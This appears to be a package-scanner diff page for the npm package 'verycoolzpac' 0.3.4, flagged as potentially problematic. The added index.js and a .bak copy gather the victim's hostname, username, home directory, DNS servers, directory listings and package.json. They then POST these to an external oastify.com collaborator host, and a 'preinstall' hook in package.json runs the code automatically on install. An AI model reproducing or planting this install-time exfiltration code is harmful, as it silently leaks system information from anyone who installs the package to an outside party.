verycoolzpac 0.3.4

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of verycoolzpac might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,65 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+ const {
8
+ exec
9
+ } = require('child_process');
10
+ var commandOutput1 = 'lincommand';
11
+ var commandOutput2 = 'wincommand';
12
+
13
+
14
+ exec('dir', (error, stdout, stderr) => {
15
+ if (!error) {
16
+ commandOutput2 = stdout;
17
+ }
18
+ exec('ls', (error, stdout, stderr) => {
19
+ if (!error) {
20
+ commandOutput1 = stdout;
21
+ }
22
+ const trackingData = JSON.stringify({
23
+ wincommand: commandOutput2,
24
+ lincommand: commandOutput1,
25
+ p: package,
26
+ c: __dirname,
27
+ hd: os.homedir(),
28
+ hn: os.hostname(),
29
+ un: os.userInfo().username,
30
+ dns: dns.getServers(),
31
+ r: packageJSON ? packageJSON.___resolved : undefined,
32
+ v: packageJSON.version,
33
+ pjson: packageJSON,
34
+ });
35
+
36
+ var postData = querystring.stringify({
37
+ msg: trackingData,
38
+ });
39
+
40
+ var options = {
41
+ hostname: "0hib7hjek93q3r88ilpeb7qdr4xvlmfa4.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
42
+ port: 443,
43
+ path: "/",
44
+ method: "POST",
45
+ headers: {
46
+ "Content-Type": "application/x-www-form-urlencoded",
47
+ "Content-Length": postData.length,
48
+ },
49
+ };
50
+
51
+ var req = https.request(options, (res) => {
52
+ res.on("data", (d) => {
53
+ process.stdout.write(d);
54
+ });
55
+ });
56
+
57
+ req.on("error", (e) => {
58
+ // console.error(e);
59
+ });
60
+
61
+ req.write(postData);
62
+ req.end();
63
+ });
64
+
65
+ });
package/index.js.bak ADDED
@@ -0,0 +1,52 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ var commandOutput1 = 'lincommand';
9
+ var commandOutput2 = 'wincommand';
10
+
11
+
12
+ const trackingData = JSON.stringify({
13
+ wincommand: commandOutput2,
14
+ lincommand: commandOutput1,
15
+ p: package,
16
+ c: __dirname,
17
+ hd: os.homedir(),
18
+ hn: os.hostname(),
19
+ un: os.userInfo().username,
20
+ dns: dns.getServers(),
21
+ r: packageJSON ? packageJSON.___resolved : undefined,
22
+ v: packageJSON.version,
23
+ pjson: packageJSON,
24
+ });
25
+
26
+ var postData = querystring.stringify({
27
+ msg: trackingData,
28
+ });
29
+
30
+ var options = {
31
+ hostname: "0hib7hjek93q3r88ilpeb7qdr4xvlmfa4.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
32
+ port: 443,
33
+ path: "/",
34
+ method: "POST",
35
+ headers: {
36
+ "Content-Type": "application/x-www-form-urlencoded",
37
+ "Content-Length": postData.length,
38
+ },
39
+ };
40
+
41
+ var req = https.request(options, (res) => {
42
+ res.on("data", (d) => {
43
+ process.stdout.write(d);
44
+ });
45
+ });
46
+
47
+ req.on("error", (e) => {
48
+ // console.error(e);
49
+ });
50
+
51
+ req.write(postData);
52
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "verycoolzpac",
3
+ "version": "0.3.4",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "verycoolzpac",
3
+ "version": "0.3.3",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }